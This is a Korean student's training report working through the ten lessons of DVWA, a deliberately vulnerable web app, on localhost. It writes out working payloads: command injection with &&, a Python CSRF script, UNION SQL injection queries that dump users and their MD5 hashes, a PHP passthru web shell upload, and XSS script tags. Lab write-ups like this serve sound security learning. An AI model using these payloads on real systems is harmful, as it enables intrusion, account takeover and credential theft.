Black Falcon Team 첫번째입팀과제보고서 - Damm Vulnerable Web Application - Name : 박영근
Intro Lesson 1 : Brute Force 4 Lesson 2 : Command Execution 9 Lesson 3 : CSRF. 10 Lesson 4 : Insecure CAPTCHA 13 Lesson 5 : File Inclusion 17 Lesson 6 : SQL Injection 19 Lesson 7 : SQL Injection ( Blind ). 26 Lesson 8 : Upload. 29 Lesson 9 : XSS Reflected.. 33 Lesson 10 : XSS Stored.. 35-2 -
DVWA - 3 -
Lesson 1 : Brute Force 1) 메인페이지를보면 ID 와 PW 를입력하는폼이보인다. 2) 로그인버튼을클릭해보니인자값으로 ID 와 PW 를넘겨주면서로그인실패라는메시지를 보여주게된다. - 4 -
3) 소스코드를통한취약점확인 ID 와 PW 가 DB 에저장된값과동일하다면 Welcome to the password protected area 라는메시지를보여줌과동시에 img 파일을출력하는소스이다. ID 와 PW 를모르기때문에가장무식한방법인 Brute Force 툴을통해문제를해결하려고한다. 툴을구글링을통해찾은 BRUTER 라는툴을사용하기로했다. - 5 -
4) BRUTER 셋팅 Burp Suite 를통해 Login 버튼을클릭했을때의정보를얻어온다. Target Page 는 Brute Force 할페이지의 URL 을입력한다. Cookie 와 Refer 값을복사하여입력한다. Query String 에 Name 에는 username,%username% password,%password Login,Login# 을입력하여인자값을셋팅한다. Use Negative Result 에는실패한결과값인 Username and/or password incorrect. 를입력한다. - 6 -
5) 공격을통한 ID, PW 획득 6) 성공화면 ID 와 PW 를입력하니사진과함께홖영메시지가보인다. - 7 -
Lesson 2 : Command Execution 1) 메인페이지의화면이다. 자싞의 IP addres 를입력하라고한다. 2) IP 를입력후 submit 버튼을클릭하면 ping 명령어를실행한다. - 8 -
3) 소스코드를통한취약점확인 입력받은값을 $target 변수에저장후 ping 명령어를실행시키는소스라는걸알수있다. 4) && 연산자를이용한다중명령실행 위그림과같이인자값뒤에 && 를이용하여다른명령어를입력할수있는취약점을이용해미리맊들어둔 txt 파일의내용을볼수있었다. 그외에도 mkdir 등의다른윈도우명령어를통해여러가지의공격을할수있다. - 9 -
Lesson 3 : CSRF 1) 비밀번호를바꿀수있는폼이보인다. 2) 소스코드를통한취약점확인 입력받은 $pass_new 와 $pass_conf 가같다면 admin 의비밀번호를바꾸는소스이다. - 10 -
3) URL 인자값확인 패스워드를입력후에 url 을보니인자값으로넘어가는것을볼수있다. 4) 공격코드작성을위한 Cookie 값획득 - 11 -
5) 공격코드작성 Attack_cookie.py import urllib2, re, string import cookielib, httplib, urllib def attack(cookie) : url = "http://localhost/dvwa/vulnerabilities/csrf/" url += "?password_new=test&password_conf=test&change=change#" request = urllib2.request(url) request.add_header("cookie", cookie) request.add_header("content-type", "application/x-www-forum-urlencoded") response = urllib2.urlopen(request) headers = response.info().headers data = response.read() result = data.find('password Changed') if result > 0 : print "Password Changed" print response.geturl() return result def main() : cookie = "security=low; PHPSESSID=b60b98a8ea21f4e78dd6cb9b4fe3149b" answer = attack(cookie) print "cookie:%s"%cookie print "attack:%s"%answer if name == ' main ' : main() 6) 공격코드실행 재로그인을해보면공격한패스워드로바뀐것을알수있다. - 12 -
Lesson 4 : Insecure CAPTCHA 1) recaptcha 셋팅 처음페이지에접속하게되면구글링크가하나주어진다. 이동을하여서 CAPTCHA Key 를발급받는다. 2) index.php 파일수정 dvwa\vulnerabilities\captcha\index.php $hide_form = true -> hide_form = false 3) config.inc.php 파일수정 dvwa\config\ config.inc.php public_key 에는구글에서얻은 Site Key 를입력한다. private_key 에는 Seceret Key 를입력한다. - 13 -
4) CAPTCHA 가적용된메인페이지. 5) 소스코드를통한취약점확인 step 변수에 2 와 $pass_new 와 $pass_conf 가같다면패스워드가바뀌는소스이다. - 14 -
6) 흐름분석 7) 최종확인 8) 패스워드체인지 - 15 -
9) 인자값들확인 다음과같이 Burp Suite 를통해확인을해본결과사용자가입력한바꿀비밀번호가넘어가는 것을볼수있다. 정상적인비밀번호와 CAPTCHA 를입력했을경우다음화면에서는 Step=2 가들어가는것을확인할수있다. 유추를해보게되면처음입력폼에서 Step=1 을 2 로바꿔주면인증을거치지않고비밀번호가바뀔거란추측을할수있다. 10) 성공화면 예상과같이 1 을 2 로바꾸게되면인증을거치지않고비밀번호가변경된다. - 16 -
Lesson 5 : File Inclusion 1)?page=index.php 에서 page 의인자값을통한취약점이있다는것을확인. 2) 소스를통한취약점확인 소스코드를살펴보면 page 인자값에들어온파일을화면에보여주는코드이다. - 17 -
3) Gussing 을통한공격 위와같이 URL 또는 PHP 파일을인자값으로넘겨주게되면보앆상의이유로외부에서 인클루드하는기능이꺼져있는것을볼수있게된다. LFI 는될거라예상을하고실험을해봤다. 4) Test 코드작성및공격 File_Inclusion_Test.txt 내용 <?php echo "<font style=font-size:15pt>file_inclusion Success!!<br><br><br><br></font>";?> - 18 -
Lesson 6 : SQL Injection 1) ID 를입력하는창과젂송버튼맊있다. 2) 출력되는결과값확인 ( 1 ~ 5 이외에는무반응 ) - 19 -
3) 소스코드를통한취약점확인 ID 를입력받아쿼리문을통해페이지에정보를뿌려주는소스이다. 4) 싱글쿼터를통한에러메세지출력 5) 쿼리문을통한공격 쿼리문이완성되지않아출력된 syntax error 이므로주석이필요함. - 20 -
6) 주석을통한결과값도출 7) 쿼리문을통한 DB 구조추측 ' or 1=1 UNION ALL SELECT 1, 2# 를통해쿼리문을날려보니마지막줄에 1, 2 가출력되서 나오는걸볼수있다 - 21 -
8) 쿼리문을통한계정권한및 Version 확인. ' or 1=1 UNION ALL SELECT user(), version()# 을통해버젂과유저정보를알수있다. 9) 쿼리문을통한테이블정보획득 ' or 1=1 UNION ALL SELECT 1, concat(table_name) FROM information_schema.tables WHERE table_schema='dvwa'# guestbook 과 users 라는 2 개의테이블정보를알수있다. - 22 -
10) 쿼리문을통한 user 테이블의정보획득 ' or 1=1 UNION ALL SELECT 1, concat(column_name) FROM information_schema.columns WHERE table_name='users'# 를통해정보를알아낼수있었다. 문제는사용자의 password 를요구하므로한번더쿼리문을날려야한다. - 23 -
다음과같은 md5 해쉬값이출력되서나오는걸알수있다. - 24 -
이해쉬값을 md5 Decoding 을거쳐보게되면 Admin = 098f6bcd4621d373cade4e832627b4f6 = test Grodon = e99a18c428cb38d5f260853678922e03 = abcd1234 Hack = 8d3533d75ae2c3966d7e0d4fcc69216b = charley Pablo = 0d107d09f5bbe40cade3de5c71e9e9b7 = letmein Bob = 5f4dcc3b5aa765d61d8327deb882cf99 = password 다음과같이암호를해독할수있다. - 25 -
Lesson 7 : SQL Injection (Blind) 1) 이젂문제 Sql Injection 과보여지는화면은같다. 소스도동일하지맊한가지다른점은더이상화면에 mysql error 를보여주지않는점이다. 2) 싱글쿼터를통한 url 인자값확인 에러가표시되지않지맊위의문제와구조는같기때문에 sqlmap 을통해문제해결.. - 26 -
3) URL 입력및쿠키값입력 다음과같이 u 와 p 의파라미터를통해인자값을집어넣는다. 4 개의 DB 가존재한다는결과값을얻었다. 4) dvwa 테이블정보확인 dvwa 의테이블정보를보기위해 D dvwa table 옵션을주게되면 guestbook 과 users 테이블이존재한다는걸알수있다. - 27 -
5) users 테이블덤프 6) users 테이블정보확인및패스워드확인 - 28 -
Lesson 8 : Upload 1) 이미지파일을업로드시킬수있게구성이되어있다. 2) 소스코드를통한취약점확인 hackable/uploads 라는곳으로파일을올려주고경로를출력해주는코드다. - 29 -
3) 흐름분석 4) 경로확인 - 30 -
5) PHP 파일업로드 소스코드앆에는확장자를검사하는루틴이없기때문에간단하게윈도우명령어를실행 시킬수있는 PHP 코드를올려보고실행시켜보았다. Test.php Source Code <? php passthru($_get['cmd']);?> - 31 -
6) 성공화면 Cmd 명령어가실행되는것을볼수있다. 웹쉘등이나악의적인파일을올릮뒤 실행시키게되면 2 차해킹이발생할수있는취약점이다. - 32 -
Lesson 9 : XSS Reflected 1) 문자열을입력하는창이보인다. 2) 사용자입력창 문자열을입력해보니 Hello 뒤에사용자가입력한문자열이합쳐져서출력되는문장이 3) URL 확인 나오는것을확인하였다. URL 을확인하여보니 name 이라는인자값으로입력값이넘어가는것을알수있다. - 33 -
4) 소스코드를통한취약점확인 5) 성공화면 위와같이 URL 에 <script>alert(1);</script> 를인자값으로넘겨주게되면 script 가실행된화면을볼수있게된다. 크롬이나 IE 에서는자체적으로스크립트방어를하기때문에부득이하게 Kali 의 Iceweasel 브라우저에서의결과값을캡쳐화면으로쓰게되었다. - 34 -
Lesson 10 : XSS stored 1) Name 과 Message 를쓸수있는폼이 2 개가보인다. 2) 흐름분석 입력을하게되면가운데에 Name 과 Message 가출력되는것을확인할수가있다. - 35 -
3) 소스코드를통한취약점분석 guestbook DB 에사용자가입력한 Name 과 Message 과저장되는것을알수있고이소스 어디에도 script 문을방어하는코드가없음을확인하였다. 4) 공격코드작성 위그림과같이글을남기게되면스크립트문이 DB 에저장되어있기때문에이페이지를 방문하는사용자들은스크립트가실행될것임을예측할수있다. - 36 -
5) 성공화면 - 37 -